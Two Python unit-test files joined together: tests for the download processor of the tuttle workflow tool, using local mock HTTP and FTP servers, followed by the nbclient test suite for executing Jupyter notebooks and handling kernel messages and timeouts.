httpd = None
p = None
_ftpd = None
@classmethod
def run_server(cls):
cls.httpd = ThreadingHTTPServer(("", 8043), MockHTTPHandler)
cls.httpd.allow_reuse_address = True
cls.httpd.serve_forever()
@classmethod
def setUpClass(cls):
""" Run a web server in background to mock some specific HTTP behaviours
"""
from threading import Thread
cls.p = Thread(target=cls.run_server)
cls.p.start()
@classmethod
def tearDownClass(cls):
""" Stop the http server in background
"""
cls.httpd.shutdown()
cls.p.join()
@isolate
def test_standard_download(self):
"""Should download a simple url"""
if not online:
raise SkipTest("Offline")
project = " file://google.html <- http://www.google.com/ ! download"
pp = ProjectParser()
pp.set_project(project)
workflow = pp.parse_extend_and_check_project()
workflow.static_check_processes()
workflow.discover_resources()
TuttleDirectories.straighten_out_process_and_logs(workflow)
wr = WorkflowRunner(3)
wr.run_parallel_workflow(workflow)
assert isfile("google.html")
content = open("google.html").read()
assert content.find("<title>Google</title>") >= 0
logs = open(join(".tuttle", "processes", "logs", "__1_stdout.txt"), "r").read()
assert re.search("\n\.+\n", logs) is not None, logs
assert isfile(join(".tuttle", "processes", "logs", "__1_err.txt"))
@isolate
def test_long_download(self):
""" Progress dots should appear in the logs in a long download"""
project = " file://huge_resource.js <- http://localhost:8043/huge_resource.js ! download"
pp = ProjectParser()
pp.set_project(project)
workflow = pp.parse_extend_and_check_project()
workflow.static_check_processes()
workflow.discover_resources()
TuttleDirectories.straighten_out_process_and_logs(workflow)
wr = WorkflowRunner(3)
wr.run_parallel_workflow(workflow)
assert isfile("huge_resource.js"), "huge_resource.js is missing"
logs = open(join(".tuttle", "processes", "logs", "__1_stdout.txt"), "r").read()
assert logs.find("...") >= 0
@isolate
def test_pre_check_outputs(self):
"""Should fail if don't know what to download """
project = " file://foo <- ! download"
pp = ProjectParser()
pp.set_project(project)
try:
workflow = pp.parse_extend_and_check_project()
assert False, "An exception should be raised"
except TuttleError as e:
assert e.message.find("don't know how to handle these inputs") >= 0, e
@isolate
def test_pre_check_inputs(self):
"""Should fail if don't nowk where to download """
project = " <- http://www.google.com/ ! download"
pp = ProjectParser()
pp.set_project(project)
try:
workflow = pp.parse_extend_and_check_project()
assert False, "An exception should be raised"
except TuttleError as e:
assert e.message.find("don't know how to handle these outputs") >= 0, e.message
@isolate
def test_simple_dl(self):
""" Should download a simple url to a file """
project = """file://huge_resource.js <- http://localhost:8043/huge_resource.js ! download"""
rcode, output = run_tuttle_file(project)
assert rcode == 0, output
assert isfile('huge_resource.js')
@isolate
def test_can_download_in_sub_dir(self):
""" Should download as long as there is one file output and exactly one downloadable resource """
sleep(0.5) # Travis needs some time before running the project or http mock server won't be available
project = """file://a_directory/a_resource <- http://localhost:8043/a_resource file://a_directory ! download
file://a_directory <-
mkdir a_directory
"""
rcode, output = run_tuttle_file(project)
assert rcode == 0, output
assert isdir('a_directory')
assert isfile('a_directory/a_resource')
# @isolate
# def test_download_fails(self):
# """Should raise an exception if download fails"""
# project = " file://tuttle.html <- http://www.example.com/tuttle ! download"
# pp = ProjectParser()
# pp.set_project(project)
# # Don't check project or execution of the workflow will not be allowed because input resource is missing
# workflow = pp.parse_project()
# print workflow._processes
# print [res.url for res in workflow._processes[0].inputs]
# workflow.prepare_execution()
# workflow.run()
# assert isfile("tuttle.html")
@isolate
def test_pre_check_before_running(self):
""" Pre check should happen for each process before run the whole workflow """
project = """file://A <-
obvious failure
file://google.html <- file://A ! download
"""
rcode, output = run_tuttle_file(project)
assert rcode == 2
assert output.find("Download processor") >= 0, output
@isolate
def test_no_error_with_download_process(self):
""" Download process does not create code in reserved_path for the process... Thus it cant be moved when """
""" retreiving logs and reserved path from previous execution(from bug) """
project = """file://g <- http://localhost:8043/a_resource ! download
file://h <- file://g
ERROR
"""
rcode, output = run_tuttle_file(project)
assert rcode == 2, output
rcode, output = tuttle_invalidate()
assert rcode == 0, output
rcode, output = run_tuttle_file()
assert rcode == 2, output
@isolate
def test_pre_check_before_invalidation(self):
"""Pre check should happen before invalidation"""
project1 = """file://A <-
echo A > A
"""
rcode, output = run_tuttle_file(project1)
assert isfile('A')
project2 = """file://A <-
echo different > A
file://google.html <- file://A ! download
"""
rcode, output = run_tuttle_file(project2)
assert rcode == 2
assert output.find("* file://B") == -1
assert output.find("Download processor") >= 0, output
@isolate
def test_download_https(self):
""" https download should work """
if not online:
raise SkipTest("Offline")
project = "file://google.html <- https://www.google.com/ ! download"
rcode, output = run_tuttle_file(project)
if output.find("SSL certificate problem: unable to get local issuer certificate") >= 0:
raise SkipTest("Skip test because of a certificate bug from appveyor")
assert rcode == 0, output
assert isfile("google.html")
content = open("google.html").read()
assert content.find("<title>Google</title>") >= 0
logs = open(join(".tuttle", "processes", "logs", "tuttlefile_1_stdout.txt"), "r").read()
assert re.search("\n\.+\n", logs) is not None, logs
assert isfile(join(".tuttle", "processes", "logs", "tuttlefile_1_err.txt"))
def run_ftp_server(self):
authorizer = DummyAuthorizer()
ftp_dir = join(dirname(__file__), 'ftp')
authorizer.add_user("user", "password", ftp_dir, perm="elrd")
handler = FTPHandler
handler.authorizer = authorizer
self._ftpd = FTPServer(("0.0.0.0", 8021), handler)
self._ftpd.serve_forever(timeout=0.2, handle_exit=True)
@isolate
def test_download_ftp_resource(self):
"""Download processor should be able to download an ftp resource with authentification """
from threading import Thread
p = Thread(target=self.run_ftp_server)
p.start()
try:
sleep(0.1) # The server needs time to start
project = """file://downloaded_resource <- ftp://localhost:8021/ftp_resource ! download
"""
passfile = join(dirname(__file__), '.tuttlepass')
with EnvVar('TUTTLEPASSFILE', passfile):
rcode, output = run_tuttle_file(project)
assert rcode == 0, output
assert isfile('downloaded_resource')
finally:
self._ftpd.close_all()
self._ftpd.ioloop.close()
p.join()
|
test_client.py | import asyncio
import concurrent.futures
import copy
import datetime
import functools
import os
import re
import threading
import warnings
from base64 import b64decode, b64encode
from queue import Empty
from unittest.mock import MagicMock, Mock
import nbformat
import pytest
import xmltodict # type: ignore
from ipython_genutils.py3compat import string_types
from jupyter_client import KernelManager
from jupyter_client.kernelspec import KernelSpecManager
from nbconvert.filters import strip_ansi # type: ignore
from nbformat import NotebookNode
from testpath import modified_env # type: ignore
from traitlets import TraitError
from .. import NotebookClient, execute
from ..exceptions import CellExecutionError
from .base import NBClientTestsBase
addr_pat = re.compile(r'0x[0-9a-f]{7,9}')
current_dir = os.path.dirname(__file__)
ipython_input_pat = re.compile(r'<ipython-input-\d+-[0-9a-f]+>')
# Tracebacks look different in IPython 8,
# see: https://github.com/ipython/ipython/blob/master/docs/source/whatsnew/version8.rst#traceback-improvements # noqa
ipython8_input_pat = re.compile(r'Input In \[\d+\],')
class AsyncMock(Mock):
pass
def make_async(mock_value):
async def _():
return mock_value
return _()
def normalize_base64(b64_text):
# if it's base64, pass it through b64 decode/encode to avoid
# equivalent values from being considered unequal
try:
return b64encode(b64decode(b64_text.encode('ascii'))).decode('ascii')
except (ValueError, TypeError):
return b64_text
def run_notebook(filename, opts, resources=None):
"""Loads and runs a notebook, returning both the version prior to
running it and the version after running it.
"""
with open(filename) as f:
input_nb = nbformat.read(f, 4)
cleaned_input_nb = copy.deepcopy(input_nb)
for cell in cleaned_input_nb.cells:
if 'execution_count' in cell:
del cell['execution_count']
cell['outputs'] = []
if resources:
opts = {'resources': resources, **opts}
executor = NotebookClient(cleaned_input_nb, **opts)
with warnings.catch_warnings():
# suppress warning from jupyter_client's deprecated cleanup()
warnings.simplefilter(action='ignore', category=FutureWarning)
# Override terminal size to standardise traceback format
with modified_env({'COLUMNS': '80', 'LINES': '24'}):
output_nb = executor.execute()
return input_nb, output_nb
def run_notebook_wrapper(args):
# since concurrent.futures.ProcessPoolExecutor doesn't have starmap,
# we need to unpack the arguments
return run_notebook(*args)
async def async_run_notebook(filename, opts, resources=None):
"""Loads and runs a notebook, returning both the version prior to
running it and the version after running it.
"""
with open(filename) as f:
input_nb = nbformat.read(f, 4)
cleaned_input_nb = copy.deepcopy(input_nb)
for cell in cleaned_input_nb.cells:
if 'execution_count' in cell:
del cell['execution_count']
cell['outputs'] = []
if resources:
opts = {'resources': resources, **opts}
executor = NotebookClient(cleaned_input_nb, **opts)
# Override terminal size to standardise traceback format
with modified_env({'COLUMNS': '80', 'LINES': '24'}):
output_nb = await executor.async_execute()
return input_nb, output_nb
def prepare_cell_mocks(*messages, reply_msg=None):
"""
This function prepares a executor object which has a fake kernel client
to mock the messages sent over zeromq. The mock kernel client will return
the messages passed into this wrapper back from ``preproc.kc.iopub_channel.get_msg``
callbacks. It also appends a kernel idle message to the end of messages.
"""
parent_id = 'fake_id'
messages = list(messages)
# Always terminate messages with an idle to exit the loop
messages.append({'msg_type': 'status', 'content': {'execution_state': 'idle'}})
def shell_channel_message_mock():
# Return the message generator for
# self.kc.shell_channel.get_msg => {'parent_header': {'msg_id': parent_id}}
return AsyncMock(
return_value=make_async(
NBClientTestsBase.merge_dicts(
{
'parent_header': {'msg_id': parent_id},
'content': {'status': 'ok', 'execution_count': 1},
},
reply_msg or {},
)
)
)
def iopub_messages_mock():
# Return the message generator for
# self.kc.iopub_channel.get_msg => messages[i]
return AsyncMock(
side_effect=[
# Default the parent_header so mocks don't need to include this
make_async(
NBClientTestsBase.merge_dicts({'parent_header': {'msg_id': parent_id}}, msg)
)
for msg in messages
]
)
def prepared_wrapper(func):
@functools.wraps(func)
def test_mock_wrapper(self):
"""
This inner function wrapper populates the executor object with
the fake kernel client. This client has its iopub and shell
channels mocked so as to fake the setup handshake and return
the messages passed into prepare_cell_mocks as the execute_cell loop
processes them.
"""
cell_mock = NotebookNode(
source='"foo" = "bar"', metadata={}, cell_type='code', outputs=[]
)
executor = NotebookClient({})
executor.nb = {'cells': [cell_mock]}
# self.kc.iopub_channel.get_msg => message_mock.side_effect[i]
message_mock = iopub_messages_mock()
executor.kc = MagicMock(
iopub_channel=MagicMock(get_msg=message_mock),
shell_channel=MagicMock(get_msg=shell_channel_message_mock()),
execute=MagicMock(return_value=parent_id),
is_alive=MagicMock(return_value=make_async(True)),
)
executor.parent_id = parent_id
return func(self, executor, cell_mock, message_mock)
return test_mock_wrapper
return prepared_wrapper
def normalize_output(output):
"""
Normalizes outputs for comparison.
"""
output = dict(output)
if 'metadata' in output:
del output['metadata']
if 'text' in output:
output['text'] = re.sub(addr_pat, '<HEXADDR>', output['text'])
if 'text/plain' in output.get('data', {}):
output['data']['text/plain'] = re.sub(addr_pat, '<HEXADDR>', output['data']['text/plain'])
if 'application/vnd.jupyter.widget-view+json' in output.get('data', {}):
output['data']['application/vnd.jupyter.widget-view+json']['model_id'] = '<MODEL_ID>'
if 'image/svg+xml' in output.get('data', {}):
output['data']['image/svg+xml'] = xmltodict.parse(output['data']['image/svg+xml'])
for key, value in output.get('data', {}).items():
if isinstance(value, string_types):
output['data'][key] = normalize_base64(value)
if 'traceback' in output:
tb = []
for line in output["traceback"]:
line = re.sub(ipython_input_pat, '<IPY-INPUT>', strip_ansi(line))
line = re.sub(ipython8_input_pat, '<IPY-INPUT>', strip_ansi(line))
tb.append(line)
output['traceback'] = tb
return output
def assert_notebooks_equal(expected, actual):
expected_cells = expected['cells']
actual_cells = actual['cells']
assert len(expected_cells) == len(actual_cells)
for expected_cell, actual_cell in zip(expected_cells, actual_cells):
# Uncomment these to help debug test failures better
# from pprint import pprint
# pprint(expected_cell)
# pprint(actual_cell)
expected_outputs = expected_cell.get('outputs', [])
actual_outputs = actual_cell.get('outputs', [])
normalized_expected_outputs = list(map(normalize_output, expected_outputs))
normalized_actual_outputs = list(map(normalize_output, actual_outputs))
assert normalized_expected_outputs == normalized_actual_outputs
expected_execution_count = expected_cell.get('execution_count', None)
actual_execution_count = actual_cell.get('execution_count', None)
assert expected_execution_count == actual_execution_count
def notebook_resources():
"""
Prepare a notebook resources dictionary for executing test
notebooks in the ``files`` folder.
"""
return {'metadata': {'path': os.path.join(current_dir, 'files')}}
def filter_messages_on_error_output(err_output):
allowed_lines = [
# ipykernel migh be installed without debugpy extension
"[IPKernelApp] WARNING | debugpy_stream undefined, debugging will not be enabled",
]
filtered_result = [line for line in err_output.splitlines() if line not in allowed_lines]
return os.linesep.join(filtered_result)
@pytest.mark.parametrize(
["input_name", "opts"],
[
("Other Comms.ipynb", dict(kernel_name="python")),
("Clear Output.ipynb", dict(kernel_name="python")),
("Empty Cell.ipynb", dict(kernel_name="python")),
("Factorials.ipynb", dict(kernel_name="python")),
("HelloWorld.ipynb", dict(kernel_name="python")),
("Inline Image.ipynb", dict(kernel_name="python")),
(
"Interrupt.ipynb",
dict(kernel_name="python", timeout=1, interrupt_on_timeout=True, allow_errors=True),
),
("JupyterWidgets.ipynb", dict(kernel_name="python")),
("Skip Exceptions with Cell Tags.ipynb", dict(kernel_name="python")),
("Skip Exceptions.ipynb", dict(kernel_name="python", allow_errors=True)),
("Skip Execution with Cell Tag.ipynb", dict(kernel_name="python")),
("SVG.ipynb", dict(kernel_name="python")),
("Unicode.ipynb", dict(kernel_name="python")),
("UnicodePy3.ipynb", dict(kernel_name="python")),
("update-display-id.ipynb", dict(kernel_name="python")),
("Check History in Memory.ipynb", dict(kernel_name="python")),
],
)
def test_run_all_notebooks(input_name, opts):
"""Runs a series of test notebooks and compares them to their actual output"""
input_file = os.path.join(current_dir, 'files', input_name)
input_nb, output_nb = run_notebook(input_file, opts, notebook_resources())
assert_notebooks_equal(input_nb, output_nb)
def test_parallel_notebooks(capfd, tmpdir):
"""Two notebooks should be able to be run simultaneously without problems.
The two notebooks spawned here use the filesystem to check that the other notebook
wrote to the filesystem."""
opts = dict(kernel_name="python")
input_name = "Parallel Execute {label}.ipynb"
input_file = os.path.join(current_dir, "files", input_name)
res = notebook_resources()
with modified_env({"NBEXECUTE_TEST_PARALLEL_TMPDIR": str(tmpdir)}):
threads = [
threading.Thread(target=run_notebook, args=(input_file.format(label=label), opts, res))
for label in ("A", "B")
]
[t.start() for t in threads]
[t.join(timeout=2) for t in threads]
captured = capfd.readouterr()
assert filter_messages_on_error_output(captured.err) == ""
def test_many_parallel_notebooks(capfd):
"""Ensure that when many IPython kernels are run in parallel, nothing awful happens.
Specifically, many IPython kernels when run simultaneously would encounter errors
due to using the same SQLite history database.
"""
opts = dict(kernel_name="python", timeout=5)
input_name = "HelloWorld.ipynb"
input_file = os.path.join(current_dir, "files", input_name)
res = NBClientTestsBase().build_resources()
res["metadata"]["path"] = os.path.join(current_dir, "files")
with warnings.catch_warnings():
# suppress warning from jupyter_client's deprecated cleanup()
warnings.simplefilter(action='ignore', category=FutureWarning)
# run once, to trigger creating the original context
run_notebook(input_file, opts, res)
with concurrent.futures.ProcessPoolExecutor(max_workers=2) as executor:
executor.map(run_notebook_wrapper, [(input_file, opts, res) for i in range(8)])
captured = capfd.readouterr()
assert filter_messages_on_error_output(captured.err) == ""
def test_async_parallel_notebooks(capfd, tmpdir):
"""Two notebooks should be able to be run simultaneously without problems.
The two notebooks spawned here use the filesystem to check that the other notebook
wrote to the filesystem."""
opts = dict(kernel_name="python")
input_name = "Parallel Execute {label}.ipynb"
input_file = os.path.join(current_dir, "files", input_name)
res = notebook_resources()
with modified_env({"NBEXECUTE_TEST_PARALLEL_TMPDIR": str(tmpdir)}):
tasks = [
async_run_notebook(input_file.format(label=label), opts, res) for label in ("A", "B")
]
loop = asyncio.get_event_loop()
loop.run_until_complete(asyncio.gather(*tasks))
captured = capfd.readouterr()
assert filter_messages_on_error_output(captured.err) == ""
def test_many_async_parallel_notebooks(capfd):
"""Ensure that when many IPython kernels are run in parallel, nothing awful happens.
Specifically, many IPython kernels when run simultaneously would encounter errors
due to using the same SQLite history database.
"""
opts = dict(kernel_name="python", timeout=5)
input_name = "HelloWorld.ipynb"
input_file = os.path.join(current_dir, "files", input_name)
res = NBClientTestsBase().build_resources()
res["metadata"]["path"] = os.path.join(current_dir, "files")
# run once, to trigger creating the original context
run_notebook(input_file, opts, res)
tasks = [async_run_notebook(input_file, opts, res) for i in range(4)]
loop = asyncio.get_event_loop()
loop.run_until_complete(asyncio.gather(*tasks))
captured = capfd.readouterr()
assert filter_messages_on_error_output(captured.err) == ""
def test_execution_timing():
"""Compare the execution timing information stored in the cell with the
actual time it took to run the cell. Also check for the cell timing string
format."""
opts = dict(kernel_name="python")
input_name = "Sleep1s.ipynb"
input_file = os.path.join(current_dir, "files", input_name)
res = notebook_resources()
input_nb, output_nb = run_notebook(input_file, opts, res)
def get_time_from_str(s):
time_format = '%Y-%m-%dT%H:%M:%S.%fZ'
return datetime.datetime.strptime(s, time_format)
execution_timing = output_nb['cells'][1]['metadata']['execution']
status_busy = get_time_from_str(execution_timing['iopub.status.busy'])
execute_input = get_time_from_str(execution_timing['iopub.execute_input'])
execute_reply = get_time_from_str(execution_timing['shell.execute_reply'])
status_idle = get_time_from_str(execution_timing['iopub.status.idle'])
cell_start = get_time_from_str(output_nb['cells'][2]['outputs'][0]['text'])
cell_end = get_time_from_str(output_nb['cells'][3]['outputs'][0]['text'])
delta = datetime.timedelta(milliseconds=100)
assert status_busy - cell_start < delta
assert execute_input - cell_start < delta
assert execute_reply - cell_end < delta
assert status_idle - cell_end < delta
def test_synchronous_setup_kernel():
nb = nbformat.v4.new_notebook()
executor = NotebookClient(nb)
with executor.setup_kernel():
# Prove it initialized client
assert executor.kc is not None
# Prove it removed the client (and hopefully cleaned up)
assert executor.kc is None
def test_startnewkernel_with_kernelmanager():
nb = nbformat.v4.new_notebook()
km = KernelManager()
executor = NotebookClient(nb, km=km)
executor.start_new_kernel()
kc = executor.start_new_kernel_client()
# prove it initialized client
assert kc is not None
# since we are not using the setup_kernel context manager,
# cleanup has to be done manually
kc.shutdown()
km.cleanup_resources()
kc.stop_channels()
def test_start_new_kernel_history_file_setting():
nb = nbformat.v4.new_notebook()
km = KernelManager()
executor = NotebookClient(nb, km=km)
kc = km.client()
# Should start empty
assert executor.extra_arguments == []
# Should assign memory setting for ipykernel
executor.start_new_kernel()
assert executor.extra_arguments == ['--HistoryManager.hist_file=:memory:']
# Should not add a second hist_file assignment
executor.start_new_kernel()
assert executor.extra_arguments == ['--HistoryManager.hist_file=:memory:']
# since we are not using the setup_kernel context manager,
# cleanup has to be done manually
kc.shutdown()
km.cleanup_resources()
kc.stop_channels()
class TestExecute(NBClientTestsBase):
"""Contains test functions for execute.py"""
maxDiff = None
def test_constructor(self):
NotebookClient({})
def test_populate_language_info(self):
nb = nbformat.v4.new_notebook() # Certainly has no language_info.
executor = NotebookClient(nb, kernel_name="python")
nb = executor.execute()
assert 'language_info' in nb.metadata
def test_empty_path(self):
"""Can the kernel be started when the path is empty?"""
filename = os.path.join(current_dir, 'files', 'HelloWorld.ipynb')
res = self.build_resources()
res['metadata']['path'] = ''
input_nb, output_nb = run_notebook(filename, {}, res)
assert_notebooks_equal(input_nb, output_nb)
@pytest.mark.xfail(
"python3" not in KernelSpecManager().find_kernel_specs(),
reason="requires a python3 kernelspec",
)
def test_empty_kernel_name(self):
"""Can kernel in nb metadata be found when an empty string is passed?
Note: this pattern should be discouraged in practice.
Passing in no kernel_name to NotebookClient is recommended instead.
"""
filename = os.path.join(current_dir, 'files', 'UnicodePy3.ipynb')
res = self.build_resources()
input_nb, output_nb = run_notebook(filename, {"kernel_name": ""}, res)
assert_notebooks_equal(input_nb, output_nb)
with pytest.raises(TraitError):
input_nb, output_nb = run_notebook(filename, {"kernel_name": None}, res)
def test_disable_stdin(self):
"""Test disabling standard input"""
filename = os.path.join(current_dir, 'files', 'Disable Stdin.ipynb')
res = self.build_resources()
res['metadata']['path'] = os.path.dirname(filename)
input_nb, output_nb = run_notebook(filename, dict(allow_errors=True), res)
# We need to special-case this particular notebook, because the
# traceback contains machine-specific stuff like where IPython
# is installed. It is sufficient here to just check that an error
# was thrown, and that it was a StdinNotImplementedError
self.assertEqual(len(output_nb['cells']), 1)
self.assertEqual(len(output_nb['cells'][0]['outputs']), 1)
output = output_nb['cells'][0]['outputs'][0]
self.assertEqual(output['output_type'], 'error')
self.assertEqual(output['ename'], 'StdinNotImplementedError')
self.assertEqual(
output['evalue'],
'raw_input was called, but this frontend does not support input requests.',
)
def test_timeout(self):
"""Check that an error is raised when a computation times out"""
filename = os.path.join(current_dir, 'files', 'Interrupt.ipynb')
res = self.build_resources()
res['metadata']['path'] = os.path.dirname(filename)
with pytest.raises(TimeoutError) as err:
run_notebook(filename, dict(timeout=1), res)
self.assertEqual(
str(err.value.args[0]),
"""A cell timed out while it was being executed, after 1 seconds.
The message was: Cell execution timed out.
Here is a preview of the cell contents:
-------------------
while True: continue
-------------------
""",
)
def test_timeout_func(self):
"""Check that an error is raised when a computation times out"""
filename = os.path.join(current_dir, 'files', 'Interrupt.ipynb')
res = self.build_resources()
res['metadata']['path'] = os.path.dirname(filename)
def timeout_func(source):
return 10
with pytest.raises(TimeoutError):
run_notebook(filename, dict(timeout_func=timeout_func), res)
def test_kernel_death_after_timeout(self):
"""Check that an error is raised when the kernel is_alive is false after a cell timed out"""
filename = os.path.join(current_dir, 'files', 'Interrupt.ipynb')
with open(filename) as f:
input_nb = nbformat.read(f, 4)
res = self.build_resources()
res['metadata']['path'] = os.path.dirname(filename)
executor = NotebookClient(input_nb, timeout=1)
with pytest.raises(TimeoutError):
executor.execute()
km = executor.create_kernel_manager()
async def is_alive():
return False
km.is_alive = is_alive
# Will be a RuntimeError or subclass DeadKernelError depending
# on if jupyter_client or nbconvert catches the dead client first
with pytest.raises(RuntimeError):
input_nb, output_nb = executor.execute()
def test_kernel_death_during_execution(self):
"""Check that an error is raised when the kernel is_alive is false during a cell
execution.
"""
filename = os.path.join(current_dir, 'files', 'Autokill.ipynb')
with open(filename) as f:
input_nb = nbformat.read(f, 4)
executor = NotebookClient(input_nb)
with pytest.raises(RuntimeError):
executor.execute()
def test_allow_errors(self):
"""
Check that conversion halts if ``allow_errors`` is False.
"""
filename = os.path.join(current_dir, 'files', 'Skip Exceptions.ipynb')
res = self.build_resources()
res['metadata']['path'] = os.path.dirname(filename)
with pytest.raises(CellExecutionError) as exc:
run_notebook(filename, dict(allow_errors=False), res)
self.assertIsInstance(str(exc.value), str)
assert "# üñîçø∂é" in str(exc.value)
def test_force_raise_errors(self):
"""
Check that conversion halts if the ``force_raise_errors`` traitlet on
NotebookClient is set to True.
"""
filename = os.path.join(current_dir, 'files', 'Skip Exceptions with Cell Tags.ipynb')
res = self.build_resources()
res['metadata']['path'] = os.path.dirname(filename)
with pytest.raises(CellExecutionError) as exc:
run_notebook(filename, dict(force_raise_errors=True), res)
self.assertIsInstance(str(exc.value), str)
assert "# üñîçø∂é" in str(exc.value)
def test_reset_kernel_client(self):
filename = os.path.join(current_dir, 'files', 'HelloWorld.ipynb')
with open(filename) as f:
input_nb = nbformat.read(f, 4)
executor = NotebookClient(
input_nb,
resources=self.build_resources(),
)
executor.execute(cleanup_kc=False)
# we didn't ask to reset the kernel client, a new one must have been created
kc = executor.kc
assert kc is not None
executor.execute(cleanup_kc=False)
# we didn't ask to reset the kernel client, the previously created one must have been reused
assert kc == executor.kc
executor.execute(reset_kc=True, cleanup_kc=False)
# we asked to reset the kernel client, the previous one must have been cleaned up,
# a new one must have been created
assert kc != executor.kc
def test_cleanup_kernel_client(self):
filename = os.path.join(current_dir, 'files', 'HelloWorld.ipynb')
with open(filename) as f:
input_nb = nbformat.read(f, 4)
executor = NotebookClient(
input_nb,
resources=self.build_resources(),
)
executor.execute()
# we asked to cleanup the kernel client (default is True)
assert executor.kc is None
executor.execute(cleanup_kc=False)
# we didn't ask to reset the kernel client
# a new one must have been created and should still be available
assert executor.kc is not None
def test_custom_kernel_manager(self):
from .fake_kernelmanager import FakeCustomKernelManager
filename = os.path.join(current_dir, 'files', 'HelloWorld.ipynb')
with open(filename) as f:
input_nb = nbformat.read(f, 4)
cleaned_input_nb = copy.deepcopy(input_nb)
for cell in cleaned_input_nb.cells:
if 'execution_count' in cell:
del cell['execution_count']
cell['outputs'] = []
executor = NotebookClient(
cleaned_input_nb,
resources=self.build_resources(),
kernel_manager_class=FakeCustomKernelManager,
)
# Override terminal size to standardise traceback format
with modified_env({'COLUMNS': '80', 'LINES': '24'}):
executor.execute()
expected = FakeCustomKernelManager.expected_methods.items()
for method, call_count in expected:
self.assertNotEqual(call_count, 0, f'{method} was called')
def test_process_message_wrapper(self):
outputs = []
class WrappedPreProc(NotebookClient):
def process_message(self, msg, cell, cell_index):
result = super().process_message(msg, cell, cell_index)
if result:
outputs.append(result)
return result
current_dir = os.path.dirname(__file__)
filename = os.path.join(current_dir, 'files', 'HelloWorld.ipynb')
with open(filename) as f:
input_nb = nbformat.read(f, 4)
original = copy.deepcopy(input_nb)
wpp = WrappedPreProc(input_nb)
executed = wpp.execute()
assert outputs == [{'name': 'stdout', 'output_type': 'stream', 'text': 'Hello World\n'}]
assert_notebooks_equal(original, executed)
def test_execute_function(self):
# Test the execute() convenience API
filename = os.path.join(current_dir, 'files', 'HelloWorld.ipynb')
with open(filename) as f:
input_nb = nbformat.read(f, 4)
original = copy.deepcopy(input_nb)
executed = execute(original, os.path.dirname(filename))
assert_notebooks_equal(original, executed)
def test_widgets(self):
"""Runs a test notebook with widgets and checks the widget state is saved."""
input_file = os.path.join(current_dir, 'files', 'JupyterWidgets.ipynb')
opts = dict(kernel_name="python")
res = self.build_resources()
res['metadata']['path'] = os.path.dirname(input_file)
input_nb, output_nb = run_notebook(input_file, opts, res)
output_data = [
output.get('data', {}) for cell in output_nb['cells'] for output in cell['outputs']
]
model_ids = [
data['application/vnd.jupyter.widget-view+json']['model_id']
for data in output_data
if 'application/vnd.jupyter.widget-view+json' in data
]
wdata = output_nb['metadata']['widgets']['application/vnd.jupyter.widget-state+json']
for k in model_ids:
d = wdata['state'][k]
assert 'model_name' in d
assert 'model_module' in d
assert 'state' in d
assert 'version_major' in wdata
assert 'version_minor' in wdata
class TestRunCell(NBClientTestsBase):
"""Contains test functions for NotebookClient.execute_cell"""
@prepare_cell_mocks()
def test_idle_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# Just the exit message should be fetched
assert message_mock.call_count == 1
# Ensure no outputs were generated
assert cell_mock.outputs == []
@prepare_cell_mocks(
{
'msg_type': 'stream',
'header': {'msg_type': 'execute_reply'},
'parent_header': {'msg_id': 'wrong_parent'},
'content': {'name': 'stdout', 'text': 'foo'},
}
)
def test_message_for_wrong_parent(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# An ignored stream followed by an idle
assert message_mock.call_count == 2
# Ensure no output was written
assert cell_mock.outputs == []
@prepare_cell_mocks(
{
'msg_type': 'status',
'header': {'msg_type': 'status'},
'content': {'execution_state': 'busy'},
}
)
def test_busy_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# One busy message, followed by an idle
assert message_mock.call_count == 2
# Ensure no outputs were generated
assert cell_mock.outputs == []
@prepare_cell_mocks(
{
'msg_type': 'stream',
'header': {'msg_type': 'stream'},
'content': {'name': 'stdout', 'text': 'foo'},
},
{
'msg_type': 'stream',
'header': {'msg_type': 'stream'},
'content': {'name': 'stderr', 'text': 'bar'},
},
)
def test_deadline_exec_reply(self, executor, cell_mock, message_mock):
# exec_reply is never received, so we expect to hit the timeout.
async def get_msg(timeout):
await asyncio.sleep(timeout)
raise Empty
executor.kc.shell_channel.get_msg = get_msg
executor.timeout = 1
with pytest.raises(TimeoutError):
executor.execute_cell(cell_mock, 0)
assert message_mock.call_count == 3
# Ensure the output was captured
self.assertListEqual(
cell_mock.outputs,
[
{'output_type': 'stream', 'name': 'stdout', 'text': 'foo'},
{'output_type': 'stream', 'name': 'stderr', 'text': 'bar'},
],
)
@prepare_cell_mocks()
def test_deadline_iopub(self, executor, cell_mock, message_mock):
# The shell_channel will complete, so we expect only to hit the iopub timeout.
message_mock.side_effect = Empty()
executor.raise_on_iopub_timeout = True
with pytest.raises(TimeoutError):
executor.execute_cell(cell_mock, 0)
@prepare_cell_mocks(
{
'msg_type': 'stream',
'header': {'msg_type': 'stream'},
'content': {'name': 'stdout', 'text': 'foo'},
},
{
'msg_type': 'stream',
'header': {'msg_type': 'stream'},
'content': {'name': 'stderr', 'text': 'bar'},
},
)
def test_eventual_deadline_iopub(self, executor, cell_mock, message_mock):
# Process a few messages before raising a timeout from iopub
def message_seq(messages):
yield from messages
while True:
yield Empty()
message_mock.side_effect = message_seq(list(message_mock.side_effect)[:-1])
executor.kc.shell_channel.get_msg = Mock(
return_value=make_async({'parent_header': {'msg_id': executor.parent_id}})
)
executor.raise_on_iopub_timeout = True
with pytest.raises(TimeoutError):
executor.execute_cell(cell_mock, 0)
assert message_mock.call_count >= 3
# Ensure the output was captured
self.assertListEqual(
cell_mock.outputs,
[
{'output_type': 'stream', 'name': 'stdout', 'text': 'foo'},
{'output_type': 'stream', 'name': 'stderr', 'text': 'bar'},
],
)
@prepare_cell_mocks(
{'msg_type': 'execute_input', 'header': {'msg_type': 'execute_input'}, 'content': {}}
)
def test_execute_input_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# One ignored execute_input, followed by an idle
assert message_mock.call_count == 2
# Ensure no outputs were generated
assert cell_mock.outputs == []
@prepare_cell_mocks(
{
'msg_type': 'stream',
'header': {'msg_type': 'stream'},
'content': {'name': 'stdout', 'text': 'foo'},
},
{
'msg_type': 'stream',
'header': {'msg_type': 'stream'},
'content': {'name': 'stderr', 'text': 'bar'},
},
)
def test_stream_messages(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# An stdout then stderr stream followed by an idle
assert message_mock.call_count == 3
# Ensure the output was captured
self.assertListEqual(
cell_mock.outputs,
[
{'output_type': 'stream', 'name': 'stdout', 'text': 'foo'},
{'output_type': 'stream', 'name': 'stderr', 'text': 'bar'},
],
)
